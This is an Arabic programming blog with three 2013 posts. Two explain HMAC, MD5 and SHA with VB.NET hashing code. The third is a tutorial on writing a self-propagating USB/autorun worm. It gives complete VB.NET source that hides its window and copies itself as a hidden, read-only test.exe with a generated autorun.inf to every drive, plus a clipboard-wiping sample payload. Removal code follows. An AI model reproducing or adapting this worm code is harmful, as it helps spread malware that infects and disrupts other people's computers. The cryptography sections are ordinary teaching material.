الخميس، 28 مارس 2013

بناء خوارزمية HMAC بلغة VB.NET


   MAC Based ON Hash Function (HMAC)   خوارزمية

هي إحدى خوارزميات MAC حيث تقوم بإيجاد Hash ثابت من أي نص أو ملف متغير .
حيث يعتمد  على أحدى خوارزميات   Hash مثلا (MD5,SHA512(شرح الخوارزميات هنا)) بالإضافة إلى Secret Key نحن ندخله  شاهد شكل (10) . ويختلف MAC عن  HASH أن الأول يستخدم Secret Key لإيجاد   Hash ثابت من أي رسالة أما الثاني لا يستخدم Secret Key  تقوم بإيجاد سلسلة ثابتة من أي نص أو ملف  .

 

                                                                                 شكل  (10)


H ,Hash: إحدى خوارزميات Hash التي سنستخدمها هنا مثلا (SHA512,MD5)
[Y0---Yn]: هي بيانات الرسالة الحقيقية Mi  التي نريد إيجاد HMAC لها تقسم الى Block  حسب خوارزمية Hash المستخدمة مثلا تقسم إلى Block حجمه   bit512  اذا كنا نستخدم MD5 او تقسم الى Block حجمه  bit1024  اذا كنا نستخدم SHA512 
b bits: يمثل عدد Bit ضمن كل Block من بيانات الرسالة الحقيقية
K+:هو Secret Key  الذي نحن ندخله على رسالة لأننا نستخدم هنا MAC وهذه الخوارزمية تحتاج الى Secret Key.
 اذا كان عدد Bits الخاص Secret Key اقل من عدد bits b  الخاص بكل Block  نضيف أصفار إلى الجهة اليسرى من Secret Key الى ان يصبح عدد bits الخاص به مساوي لعدد bits الخاص بكل Block .
مثلا اذا كنا نستخدم في HMAC  خوارزمية MD5 هذه الخوارزمية تقسم البيانات الى Block حجمه  512 bits  وكان Secret Key من 400 bits  نحتاج الى إضافة 122 صفر في الجهة اليسرى من Secret Key
اذا كان عدد Bits الخاص Secret Key اكبر من عدد bits b  الخاص بكل Block  نعمل Hash  على Secret Key لكي نقلل عدد bits  الخاص به
مثلا: اذا كنا نستخدم  في HMAC خوارزمية MD5 هذه الخوارزمية تقسم البيانات الى Block حجمه  512 bits  وكان Secret Key من 1024 bits  نعمل hash  على Secret Key لكي نقلل Bits الخاص به  الى 512 bits  هنا سنستخدم خوارزمية SHA512 لأنها تجد   Hash طوله  512 bits   من Block  طوله 1024 bits
ipad: هو رقم معين مثلا نستخدم هنا (36 hex)
opad: هو رقم معين مثلا نستخدم هنا (5C hex)
Si :هي عملية  Xor  بين ipad و K+ وبعدها يلحق الناتج على شكل Block  الى Blocks الخاص بالرسالة الحقيقية لينفذ خوارزمية Hash عليها. وطول البيانات في آخر Block  يمثل طول بيانات الرسالة الحقيقية بالإضافة إلى طول Si
iV: هي القيم الأولية لبيانات Registers المستخدم في خوارزمية Hash
H(Si||Mi): تنفيذ احدى خوارزميات Hash على بيانات الرسالة الحقيقية مضافة اليها Si
S0: هي عملية  Xor  بين opad و K+
n bits: هو Hash الناتج من احدى  خوارزميات Hash التي استخدمناها على الرسالة تقوم بإلحاقها ببيانات S0 ونطبق عليها احدى خوارزميات Hash التي استخدمناها في البداية لينتج لنا HMAC

ولخوارزمية HMAC معادلة عامة وهي :







 تستخدم (ipad,opad) للحصول على مفتاحين مختلفين من  Secret Key واحد



برمجة الخوارزمية HMAC بلغة VB.NET 

نكون دالة تستقبل الرسالة و لمفتاح Secret Key  بصيغة Byte ونحدد خوارزمية Hash التي سنستخدمها داخل  HMAC  وتعيد لنا مفتاح ثابت من أي رسالة سنرسلها لها


VB.NET CODE
Function GetHMACData(ByVal data As Byte(), ByVal key As Byte()) As String
'create new instance of md5
Dim sha As HMAC = HMAC.Create()
'حددنا مفتاح الخاص بهذه الخوارزمية
sha.Key = key
' نححد خوارزمية Hash التي سنستخدمها داخل HMAC هنا حددنا SHA512 '
sha.HashName = "SHA512"
'convert the input text to array of bytes
Dim hashData As Byte() = sha.ComputeHash(data)

'create new instance of StringBuilder to save hashed data
Dim returns As New StringBuilder()

'loop for each byte and add it to StringBuilder
For i As Integer = 0 To hashData.Length - 1
returns.Append(hashData(i).ToString("x2"))
Next
' return hexadecimal string
Return returns.ToString()
End Function


عند استدعاء الدالة نرسل لها الرسالة والمفتاح

VB.NET CODE
 TextBox2.Text = GetHMACData(Encoding.[Default].GetBytes(TextBox1.Text), Encoding.[Default].GetBytes("1234"))




صورة من برنامج تشفير كامل يوضح فيها نص مشفر ومفتاح التشفير الداخلية
 




حمل المقالة كاملة من هنا  او حمل من هنا

الأربعاء، 27 مارس 2013

تشفير بخوارزميات MD5,SHA بلغة VB.net


في بيئة VB.NET جميع خوارزميات التشفير تقع ضمن هذه المكتبة . لذالك بكل سهولة نكون كائن جديد من نوع خوارزمية تشفير معينة ونجد التشفير لأي بيانات نريدها
VB.NET CODE
Imports System.Security.Cryptography

هذه جزء من خوارزميات الموجودة ضمن هذه المكتبة




Hash And MAC
هي خوارزميات يتأكد المستلم ان الرسالة المرسلة إليه لم يتم التلاعب بهَ خلال فترة انتقالها إليه من المرسل  أي التأكد من مصداقية وصول البيانات .اي يرسل رسالة وعند المستلم يتأكد ان الرسالة المستلمة هي نفسها الرسالة المرسلة ! إذن هي ليست خوارزميات تشفير إنما خوارزميات تأكد سلامة وصول بيانات لذالك ليس لها طرق فك تشفير تستخدم في كلمات مرور الحواسيب وفي ملفات التورنت للتأكد من وصول الملفات كاملة لأنه مثلا عند تنزيل أي ملف من الانترنت أي خلل في تنزيل ملف لا يعمل عند المستلم لذالك يجب ان يقوم الخادم باستخراج Hash من الملف وإرساله مع الملف والشخص الذي يحمل الملف عندما يكتمل تحميله يستخرج Hash للملف ويقارنه مع المرسل من قبل الخادم فإذا كان نفسه فالملف سليم وإلا الملف تالف .



تصل الحرب عند مرحلة انه لا يريد يقطع إرسال الرسالة أو انه حتى إذا قراها وفك شفرتها  فلن يغير شيء من مسار العملية المطلوب تنفيذها  فيحاول أن يغير مسار العملية المراد تنفيذها بتوصيل الرسالة للمستلم لكن بصيغة جديدة  أو انه يعرف أن توصيل الرسالة مع إجراء بعض التغيرات عليها أفضل من قطعها فيعترض الرسالة ويغير عليها ويرسلها فلمستلم يستلم رسالة متغيرة وينفذها
فقد ينفذ العمليات التالية
1.    أما انه يعدل على الرسالة
2.    او يؤثر على ترتيب البيانات أما يحذف او يضيف او يعيد ترتيب
3.    او يؤخر او يعيد إرسال الرسالة

مثال : رسالة إلى محمد (اذهب  اقتل احمد) معترض يعرف ان محمد سوف  يقتل احمد وهو لا يستطيع ان  يوقف مسار العملية أي لا يستطيع ان يمنعه من قتله لأنه مثلا في مكان بعيد عن القاتل  لا يستطيع ان يصل إليه لذالك سوف يغير الرسالة ويجعلها  (اذهب اقتل صالح) فلن يقتل  احمد قتل  صالح ونفذ ضربة المعترض ونجا الهدف ؟

•    هذه العمليات التعديل على البيانات تحدث بسهولة في البث الجماعي Broadcast يعني سهولة شخص واحد يستلم رسالة ويعيد  يبثها للجميع بصيغة ثانية فيغير العمل عليهم



خوارزمية MD5

هي إحدى خوارزميات Hash  تكون  من الرسالة المتغيرة التي نحن نريد إرسالها  مفتاح تابت
 طوله 128 bit (16 byte  )  كما في الشكل

 خطوات العمل مع خوارزمية MD5
1.    في شكل (1) جزء رقم (1) تقسم البيانات على شكل Block كل واحد حجمه 512bit  حيث L  يمثل عدد Block  كما في الشكل بالأسفل مقسم  إلى ثلاثة مقاطع  حيث
•    الجزء الأول message يمثل بيانات الرسالة بعد تحويلها الى النظام الثنائي
•    والجزء الثاني padding وضيفته إذا لم تكفي  bitsالخاص بالرسالة لي Block   وتبقى بعض bits  ضمن 512 bit داخل احد Block   فارغة
تملئ  bits فارغة بواحد (1) ويليه أصفار بقدر bits الفارغة ؟
في Block الأخير نستخدم فقط bit   448  ويبقى bit    64   الأخير لخزن طول الرسالة أي لخزن عدد bits الخاص بالرسالة داخل اخر 64 bit .
لحساب عدد bits الواجب إضافتها الى الرسالة نستخدم المعادلة التالية
A       = عدد bits رسالة حقيقية / 512
     B =الجزء ألكسري (A)*512
     bits مضافة=448-  B
•    الجزء الثالث message Length يمثل طول bits الرسالة الحقيقية ونحن هنا حجز لها 64 bit من اخر Block في الرسالة لنخزن فيه طول الرسالة .إذا   كانت البيانات عبارة عن Block  واحد تخزن طول البيانات في 64 bit  الأخير أما إذا كانت أكثر من Block تخزن طول البيانات في أخر 64 bit في نهاية Block الأخير(ويعتبر هذا جزء من Block bit الخاص بالرسالة( .واستخدمنا هنا 64 bit لتمثيل طول الرسالة أي إننا نستطيع ان نشفر رسالة  بخوارزمية MD5 طولها 2^64



                                                                      شكل (2)

كما مبين في الشكل (2) الرسالة اذا كانت طولها أكثر من 512 bit تقسم الى Block كل واحد حجمه 512 bit بالأسماء التالية (y0,y1,yq,yl-1) وكل Block يدخل على HMD5 واحد .

مثال : إدخال رسالة محتواها (hi) لاحظ انه حولها الى النظام الثنائي بالصيغة التالية (01101000 01101001)
 


نلاحظ ان البيانات حجمها 16bit لذالك لكي يجعلها Block يجب ان تصل عددها الى 448bit لذالك سيضيف 1bit قيمته واحد و431bit قيمته صفرالى نهاية السلسلة

 



    و 64bit البقية تمثل طول الرسالة الحقيقية بصيغة النظام الثنائي لاحظها تحتها خط (وهي طولها 16 bit)
(0000000000000000000000000000000000000000000000000000000000010000)
 .حتى يصبح طول البيانات الكلي 512bit

 

 
2.    في شكل (1) جزء رقم (2) او شكل(3)  وهي مجموعة عمليات تجري ضمن كل HMD5 هذا الجزء مقسم إلى أربع ROUND كل واحدة منها تنفذ  عملياتها   16 مرة سوف نشرح على جزء واحد و لمرة واحدة والبقية نفسها تكرر لكن على البيانات المحدثة الجديدة  حيث
Yq : يمثل 512 bit الخاص ب  Block بيانات رسالة   معينة  حيث يقسم الى 16 block كل واحد بحجم 32 bit  كلها تمرر على جميع ROUND الأربعة وهي ثابتة لا تتغير خلال 16 مرة تنفيذ داخل كل ROUND ضمن HMD5 الواحد لأنها تمثل بيانات رسالة معينة لكنها تتغير  في HMD5 التالي لأنها بيانات block أخر ضمن الرسالة والبيانات الناتجة لكل من (A,B,C,D) من هذا HMD5 تنتقل عبر CV الى CV1 التالي شاهد شكل (1)



 ناتج الجمع هنا  هو mod 2^32


(A,B,C,D) هي  أربعة  REGISTER حجمها الكلي 128 bit  كل واحد حجمه  32 bit مخزن  فيها قيم أولية   وتتحدث ضمن ROUND الواحد 16 مرة وبعدها الناتج ROUND ينتقل الى ROUND التالي وعندما ينتهي من الأربعة ينتقل الى HMD5 التالي. هذه القيم الأولية بالنظام السادس عشري

A = 67452301
B = EFCDAB89
C = 98BADCFE
D = 10325476
T : هي قيم بالرادين تستخدم لتعقيد التشفير تحضر وفق المعادلة التالية
i=1:64; x= abs(sin(i))* 2^32    
أي نكون مصفوفة T  تبدأ من 1 الى64 وفق المعادلة أعلاه . حيث تحول هذه البيانات الى نظام Hex حيث كل ROUND يأخذ جزء منها
توضيح :-

 ROUND1 الأول يأخذ من  T[1—16]
 ROUND2 الثاني يأخذ من  T[17—32]
 ROUND3 الثالث يأخذ من  T[33—48]
 ROUND4 الرابع يأخذ من  T[49—64]






 3.    شكل  (4) هي العمليات التي ستجري 16 مرة ضمن كل ROUND لاحظ شكل (1)

                                                           شكل (4)

CLS:  هي circular left shift   أي تدوير مع s bit مقدار التدوير نحن نحدده مرة واحدة او اكثر
مثال : 00110  لو أزحناها بمقدار 2 من اليسار إلى اليمين ستصبح النتيجة 11000

  g : هي معادلة الدوال (F,G,H,I)  وهي عند كل ROUND  لها معادلة مختلفة
مثال: عند ROUND1  الخاص F   تكون  


g=F(b,c,d)=(b and  c)Or(Not(b) and d).
وهي دوال Boolean تحضر وفق المعادلات التالية



g=F(b,c,d)=(b and  c)Or(Not(b) and d).
g=G(b,c,d)=(b and c)Or(b and Not(d)).
g=H(b,c,d)=(b  Xor  c  Xor  d).
g=I(b,c,d)=c Xor (b Or  Not(d))  


X[k  : هي بيانات رسالة لكل block الذي كان يحتوي على 512 bit 
قسمة الى 16 block كل     واحد بحجم 32 bit

تشفير الخوارزمية بلغة VB.NET

تنتج هذه الخوارزمية مفتاح طوله 128 bit (16 byte  )  .المثال التالي يشفر أي نص او ملف ( صورة او صوت او مقطع فيديو او أي نوع اخر من الملفات) بخوارزمية MD5

بداية نبني دالة تستقبل النص او الملف المراد تشفيره بصيغة Byte وتعيد لنا MD5 Hash الخاص بهذا النص بكل سهولة حيث نعرف داخل هذه الدالة متغير من نوع MD5  جديد ونكونه وبعده نعمل ComputeHash للبيانات المستلمة  لحساب Hash لها وبعدها نحولها اللى بينات  من Byte  الى  صيغة HEX
VB.NET CODE
Public Function GetMD5Data(ByVal data As Byte()) As String
'create new instance of md5
Dim md5a As MD5 = MD5.Create()

'convert the input text to array of bytes
Dim hashData As Byte() = md5a.ComputeHash(data)

'create new instance of StringBuilder to save hashed data
Dim returnValue As New StringBuilder()

'loop for each byte and add it to StringBuilder
For i As Integer = 0 To hashData.Length - 1
returnValue.Append(hashData(i).ToString("x2"))
Next
' return hexadecimal string
Return returnValue.ToString()

End Function
في زر (FIND MD5) نحول النص الذي نكتبه الى Byte ونرسله الى الدالة لكي تعيد لنا Hash له
لنستعرض نتيجتها بالنص الثاني ونعرض البيانات ايضاً داخل ListBox

VB.NET CODE
TextBox2.Text = GetMD5Data(Encoding.[Default].GetBytes(TextBox1.Text))
        ListBox1.Items.Clear()
        For i = 0 To Len(TextBox2.Text) - 2 Step 2
            ListBox1.Items.Add(TextBox2.Text(i) & TextBox2.Text(i + 1))
        Next

وفي زر (تشفير ملفات) نتصف ملفات من الحاسبة وبعدها نحولها الى Byte ونرسلها الى الدالة لكي تعيد Hash  لها
VB.NET CODE
   'read file and find it md5
Dim op As New OpenFileDialog
op.ShowDialog()
Dim fData As Byte() = File.ReadAllBytes(op.FileName)
TextBox2.Text = GetMD5Data(fData)

ListBox1.Items.Clear()
For i = 0 To Len(TextBox2.Text) - 2 Step 2
ListBox1.Items.Add(TextBox2.Text(i) & TextBox2.Text(i + 1))
Next

نستخدم   الدالة  التالية عند المستلم للتأكد ان النص المستلم هو نفسه المرسل وذالك بمقارنة المفتاح المرسل مع المفتاح الناتج من الرسالة المستلمة
VB.NET CODE
Function ValidateMD5Data(ByVal inputData As Byte(), ByVal storedHashData As String) As Boolean
'hash input text and save it string variable
Dim getHashInputData As String = GetMD5Data(inputData)

If String.Equals(getHashInputData, storedHashData) Then
Return True
Else
Return False
End If End Function


خوارزمية Secure Hash Algorithm(SHA

هي إحدى خوارزميات Hash تقوم بإيجاد سلسلة ثابتة من أي نص أو ملف توجد عدة أنواع منها
SHA1: تنتج هذه الخوارزمية مفتاح طوله 160 bit (20 byte  )
SHA512: تنتج هذه الخوارزمية مفتاح طوله 512 bit (64 byte  ) من أي رسالة او ملف مهما كان طوله
وعدد من الأنواع SHA الأخرى كما نرها بالشكل (4) بالأسفل وخاصية كل نوع

سوف نشرح بالتفصيل طريقة عمل  SHA512 المبينة بالشكل (5)
 

                                                                         شكل  (5)

في الشكل(5) يبين لك طريقة عمل SHA512 وقمت بتقسيمها الى أربعة اجزاء لكل يسهل فهمها وسوف اشرح كل جزء بالتفصيل

جزء رقم (1)
نعرف ان SHA512 تستقبل أي طول من البيانات وتجد له  HASH طوله 512 bit في شكل  (6)
 يقسم الرسالة الى Block كل واحد حجمه  1024 bit واخر 128 bit في اخير Block يكون محجوز  لطول البيانات الحقيقية أي تستطيع هذه الخوارزمية ان تجد HASH لبيانات أقصى حد لطولها 2^128 والبتات Bit التي تبقى فارغة بين اخر 128 bit والبيانات الحقيقية للرسالة بعد تحويلها الى binary نعمل لها padding أي ندخل رقم واحد ويتبعه عدد من الاصفار حتى نملئ bits الفارغة. وان اخر Block يتقبل فقط  896 bit لان كما قلنا اخر 128 bit في اخر Block تكون محجوزة لطول الرسالة الحقيقية بصيغة نظام ثنائي
 


                                                                                           شكل  (6)
 


حيث iv=H0 يمثل  Registers الثمانية (A,B,C,D,E,F,G,H) كل واحد حجمه 64 bit مجموعهم  هو 512 bit  الذي سيمثل في النهاية Hash الخاص بالرسالة .وهذه القيم الأولية المخزنة داخل Registers
 


                                                                

الجزء رقم (2)

الذي يمثل الجزء رقم2  في شكل (5) هو حرف (F) في الجزء رقم1 .حيث يتكرر نفس عملياته مع كل Block لذالك سوف نشرح على Block واحد والبقية نفس الشيء. يمثل شكل (7)    العمليات التي ستجري على كل Block  من الرسالة الحقيقية لينتج مفتاح طولها 512 bit مخزن في (A,B,C,D,E,F,G,H)  ويعتبر كمدخل  للعمليات على  Block   التالي   اذا كانت البيانات اكثر من Block وكما مبين في الشكل(7)  او تعتبر النتيجة النهائية اذا كانت البيانات عبارة عن Block  واحد . وان كل (F)  مقسم الى 80 Round كل واحد تنفذ العمليات في داخله مره واحد (جزء رقم4 في شكل(5) يمثل العمليات التي ستجري ضمن كل Round)
 


                                                                             شكل  (7)
 


في شكل (7) كل Round  من 80 يدخل عليه قيمة K معين  بين (K0-K79)  وهي قيم ثابتة مكون من 64 bit  تأخذ من الجدول التالي
 




الجزء رقم (3)



كما نلاحظ ان في شكل  (7) كل Round يدخل عليه قيمة من بيانات Block طولها 64 bit وان طول Block  الواحد هو  1024 bit  لذالك يقسم (1024) الى  16 Block كل واحد حجمه 64 bit ممثلا (W0-W15)  ويدخل على اول  16 Round
 

                                                                                شكل  (8)
 


وبقية Round تأخذ Wt  وفق المعادلة التالية
 






جزء رقم (4):
 جزء رقم4 في شكل(5) يمثل العمليات التي ستجري ضمن كل Round ليتم من خلا لها التحديث على قيم Registers التي ستعتبر القيم المحدثة كمدخل Round التالي وفي اخر Round تعتبر Hash الخاص بالرسالة اذا كانت الرسالة من Block  واحد وخلافه تعتبر مدخل لبيانات Registers في Block  التالي
 

                                                                     شكل  (9)

Wt: يمثل 64 bit  من بيانات Block تم شرح طريقة تحضيرها لكل Round سابقا
Kt  : وهي قيم ثابتة مكون من  64 bit  تأخذ من الجدول تم شرحها سابقا
 

 
برمجة الخوارزميات

SHA1: تنتج هذه الخوارزمية مفتاح طوله 160 bit (20 byte  )

VB.NET CODE
Function GetSHA1Data(ByVal data As Byte()) As String
'create new instance of md5
Dim sha As SHA1 = SHA1.Create()

'convert the input text to array of bytes
Dim hashData As Byte() = sha.ComputeHash(data)

'create new instance of StringBuilder to save hashed data
Dim returns As New StringBuilder()

'loop for each byte and add it to StringBuilder
For i As Integer = 0 To hashData.Length - 1
returns.Append(hashData(i).ToString("x2"))
Next
' return hexadecimal string
Return returns.ToString()
End Function


SHA512: تنتج هذه الخوارزمية مفتاح طوله 512 bit (64 byte  ) 







 بناء برنامج تشفير SHA512



VB.NET CODE
Function GetSHA512Data(ByVal data As Byte()) As String
'create new instance of md5
Dim sha As SHA512 = SHA512.Create()

'convert the input text to array of bytes
Dim hashData As Byte() = sha.ComputeHash(data)

'create new instance of StringBuilder to save hashed data
Dim returns As New StringBuilder()

'loop for each byte and add it to StringBuilder
For i As Integer = 0 To hashData.Length - 1
returns.Append(hashData(i).ToString("x2"))
Next
' return hexadecimal string
Return returns.ToString()
End Function

الشرح مفصل بالمرفقات هنا بالمقالة وضعت الشرح بشكل مختصر

تحميل شرح خوارزمية خطوة خطوة مع كود هنا  او حمل من هنا

تحميل المثال Code




الأحد، 17 مارس 2013

صناعة الفايروسات (بناء الفايروسات بلغة VB.net )



لصناعة أي فايروس يتطلب الأتي :

1.     كل فايروس لابد من  وسيلة  لتشغيله اما مع بدء تشغيل الحاسوب او عبر ملف اوتوران لكي  يبدء بعمله
2.     كيف نجعل هذا الفايروس يتكاثر من خلال استنساخ نفسه الى اقراص مرنة او صلبة
3.     يجب ان لا يظهر اسم الفايروس بشريط المهام حتى لا يحس المستهدف بالفايروس بانه مصاب به  (من خلال جعل خاصية=False  show in taskbar الخاصة بالنافذة ويجب اخفائه من Task Manager
4.    يجب ان نجعل الفايروس لا تظهر نافذته من خلال اخفائه (Formborderstyle=none)
وكتابه الكود التالي بحدث تحميل النافذة هذا الكود يحول لون Form الى ابيض وبعدها يقوم باخفاء أي لون ابيض في النافذة فتختفي Form كليا  . او جعل خاصية عدم شفافية تساوي صفر(Me.Opacity = 0  ) أي نجعل النافذة شفافة جدا لدرجة لا تشاهد

Me.BackColor = Color.White
 Me.TransparencyKey = Color.White 'or Me.Opacity = 0 

5.     الفكرة الاهم هي ماذا نريد من فايروسنا ان يعمل من خلاله نحدد هدف الفايروس بالاصابة.مثلا نريد فايروس يمنع عملية الاستنساخ داخل الحاسبة لابد ان نضيف Timer ونضع فيه كود افراغ  Clipboard باستمرار حتى كلما نقوم بعملية استنساخ سوف يخزن البيانات داخل Clipboard وبواسطة برنامجنا نقوم بافراغها باستمرار
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        My.Computer.Clipboard.Clear()
    End Sub


 كيف نجعل  الفايروس Virus  ينتشر
نحن نعلم عند تشغيل اقراص CD لمجموعة برامج داخل الحاسوب سوف نلاحظ ان القرص يعمل تلقائيا وتظهر فورم مثلا مصممة من قبل شركة الاقراص تظهر فيها البرامج .
السؤال هنا كيف عمل برنامج تلقائيا من داخل القرص بمجرد ادخاله بالسواقة
ج/هو السبب وجود ملف  اوتوران autorun.inf ذو امتداد .inf  موجود في داخله كود لتشغيل البرنامج فبمجرد ادخال القرص داخل السواقة سوف يقوم  نظام التشغيل OS  بتشغيل كل ملف اوتوران داخل القرص وملف اوتوران بدوره يشغل البرنامج     وكذالك ملفات اوتوران في فلاشات USB تعمل تلقائيا بمجرد ادخال فلاش.
اي ان ملف اوتوران اذا كان موجود في فلاش او قرص من اقراص الحاسبة HD سوف يعمل بمجرد فتح فلاش او قرص HD من اقراص الحاسبة اذا كان موجود بها
 لذالك سنجعل فايروس ينتشر عن طريقة وضع نسخ منه على كل قرص مرن وصلب بالحاسبة وبجوار الفايروس ملف اوتوران أي عند فتح كل قرص مرن او صلب من اقراص الحاسبة  سوف يعمل ملف اوتوران  ويشغل البرنامج (Virus)    والبرنامج(Virus)     بدوره يستنسخ نفسه في كل قرص صلب وفلاش متصل بالحاسبة ويصنع ملف اوتوران بجوار كل ملف حتى يشغل (Virus)    عند تصفح أي قرص حتى لا يكون الفايروس خامل
فعندما ينتقل الفايروس الى الفلاش فعند ربطه بحاسبة ثانية في اول لحظة سيعمل ملف اوتوران ويشغل بدوره الفايروس الذي يستنسخ نفسه الى جميع اقراص الحاسبة الجديدة
 

الكود الموجود في داخل هذا الملف هو تشغيل برنامج اسمه test موجود بجوار ملف.؟

 في برامج فايروس  عندما نصنع فايروس يجب ان نفكر بسرعة انتشاره بواسطة ملف اوتوران
من خلال تحديد هدفه مثلا لو صنعنا فايروس يغلق الحاسوب باستمرار وجعلنا ينتشر بملف اوتوران نلاحظ بطئ انتشاره لان أي حاسبة تصاب لا ينتقل منها الى حاسبة اخرى لانها لا تعمل مجدد الا بعد اعادة تنصيبها من جديد ومسح فايروس  في هذه الحالة الفايروس ينتشر فقط من فلاش مصاب به الى الحاسبة التي سنربطها به
اما في حالة صنع فايروس منع عملية نسخ ينتشر بملف اوتوران نلاحظ سرعة انتشاره لان الحاسبة التي تصاب لا تتوقف عن العمل من الممكن ان نربط بها فلاش وينتقل الفايروس به الى حاسبة اخرى



خطوات جعل فايروس ينتشر
1.    نجلب جميع الأقراص الصلبة والمرنة الموجودة داخل الحاسبة ونحدد ايهم متوفر حتى نستطيع ان ننسخ الفايروس على كل قرص وبما اننا نتعامل مع الملفات ندرج مكتبة Imports System.IO
VB.net Code
Imports System.IO

On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then


هنا ننفذ الكود الذي نريده


End If
Next


2.    اذا كان هناك ملف اوتوران يستخدمه فايروس اخر او نفس هذا الفايروس نحذفه لكننا لانستطيع حذفة مباشرة لانه قد يكون محمي من الحذف نلغي الحماية عنه باعادة SetAttributes  الى FileAttributes.Normal   ثم نقوم بحذف الفايروس هو والملف المشغل له
VB.net Code
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Normal)
File.Delete(drive(i).Name & "autorun.inf")

File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Normal)
File.Delete(drive(i).Name & "test.exe")
End If

3.    نكون ملف اوتوران الخاص بالفايروس في كل قرص ونكتب به كود تشغيل الفايروس الذي سميناه test نلاحظ اننا عندما انشئنا ملف اوتوران جعلنا امتداده .inf  
VB.net Code
Dim objWriter As New StreamWriter(drive(i).Name & "autorun.inf")
objWriter.WriteLine("[autorun]")
objWriter.WriteLine("Shellexecute = test.exe")
objWriter.Close()

4.    ننسخ الفايروس الى  القرص ونجعل الفايروس وملف اوتوران مخفيات وغير قابلات للحذف
VB.net Code
'ننسخ الفايروس مع الاوتوران
File.Copy(Application.StartupPath & "\WindowsApplication19.exe", drive(i).Name & "test.exe")
'جعل الفايروس والملف المشغل له مخفي وللقرائة فقط
File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Hidden + FileAttributes.ReadOnly)
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Hidden + FileAttributes.ReadOnly)



برنامج  انتشار  الفايروس كامل



VB.net Code
Imports System.IO
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
File.Delete(drive(i).Name & "autorun.inf")
File.Delete(drive(i).Name & "test.exe")
End If
' File.CreateText(drive(i).Name & "test.exe")
'نكون ملف اوتو ران مرفق للفايروس
Dim objWriter As New StreamWriter(drive(i).Name & "autorun.inf")
objWriter.WriteLine("[autorun]")
objWriter.WriteLine("Shellexecute = test.exe")
objWriter.Close()
'ننسخ الفايروس مع الاوتوران
File.Copy(Application.StartupPath & "\WindowsApplication19.exe", drive(i).Name & "test.exe")
'جعل الفايروس والملف المشغل له مخفي وللقرائة فقط
File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Hidden + FileAttributes.ReadOnly)
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Hidden + FileAttributes.ReadOnly)
End If

Next

End Sub
End Class

بقي فقط نضيف للكود هدف هذا الفايروس او العملية التي نريده ان ينفذها ونربط فلاش بالحاسوب ونشغله سينتقل تلقائيا الى الفلاش ومنه الى بقية الحواسيب وعند كل عملية تشغيل لفلاش مصاب او فتح Drive قرص HD في حاسبة مصابة سينفذ عمله وينتشر


القضاء على الفايروس بنفس طريقة بنائه فقط نحذفه من كل مكان قمنا باضافته به ونستطيع ان نحذف فقط ملف الاوتوران فيصبح الفايروس مشلول لا يعمل ابد  او نحذف فايروس ونبقى الاوتوران مشلول

VB.net Code
Imports System.IO
Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
‘نرفع خاصية الاخفاء والحماية من الفايروس حتى نستطيع حذفه
File.SetAttributes(drive(i).Name & "autorun.inf", FileAttributes.Normal)
File.Delete(drive(i).Name & "autorun.inf")

File.SetAttributes(drive(i).Name & "test.exe", FileAttributes.Normal)
File.Delete(drive(i).Name & "test.exe")
End If
End If
Next
End Sub
End Class



معلومة: لحذف كل فايروس اوتوران في الحاسبة نقرء محتوى ملفات الاتوران الموجودة في واجهة الاقراص الصلبة والمرنة و عندما نصل الى سطر shellexecute ناخذ اسم البرنامج بعد علامة (=) ونحذف البرنامج المسمى بهذا الاسم ؟لكن هذه الطريقة ستحذف حتى ملفات تشغيل لبعض البرامج الخاص كمشغلات لبعض البرامج المهمة
القضاء على فايروس الاوتوران عن  طريق قرائة كل ملف اوتوران في مناطق التشغيل التلقائي
  من اقراص صلبة وفلاشات ومسح الفايروس الذي يشغله هذا الملف (وهذا الطريقة ذات مساوئ ابحث عن السبب) وهذه طريقة تبين لك كيف يعمل انتي فايروس

VB.net Code
Imports System.IO
Public Class Form1

Dim lineread As String

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
On Error Resume Next
'جلب جميع السواقات في الجهاز
Dim drive() As DriveInfo = DriveInfo.GetDrives
'نشر الفايروس في الجهاز سواقة سواقة
For i = 0 To drive.Length - 1
'فحص هل الجهاز جاهز لعملية النسخ
If drive(i).IsReady Then
'اذا    الفايروس     موجود نمسحه حتى نكون جديد
If File.Exists(drive(i).Name & "autorun.inf") = True Then
Dim objWriter As New StreamReader(drive(i).Name & "autorun.inf")
While objWriter.EndOfStream = False
lineread = objWriter.ReadLine()
If String.Equals(Mid(lineread, 1, 12), "Shellexecute") Then
Dim virusname() As String = Split(lineread, "=")
MsgBox("virusname=" & virusname(1))
If File.Exists(drive(i).Name & Trim(virusname(1))) = True Then
'نرفع خاصية الاخفاء والحماية من الفايروس حتى نستطيع حذفه
File.SetAttributes(drive(i).Name & Trim(virusname(1)), FileAttributes.Normal)
File.Delete(drive(i).Name & Trim(virusname(1)))
End If
End If
End While
objWriter.Close()
End If
End If
Next
End Sub
End Class



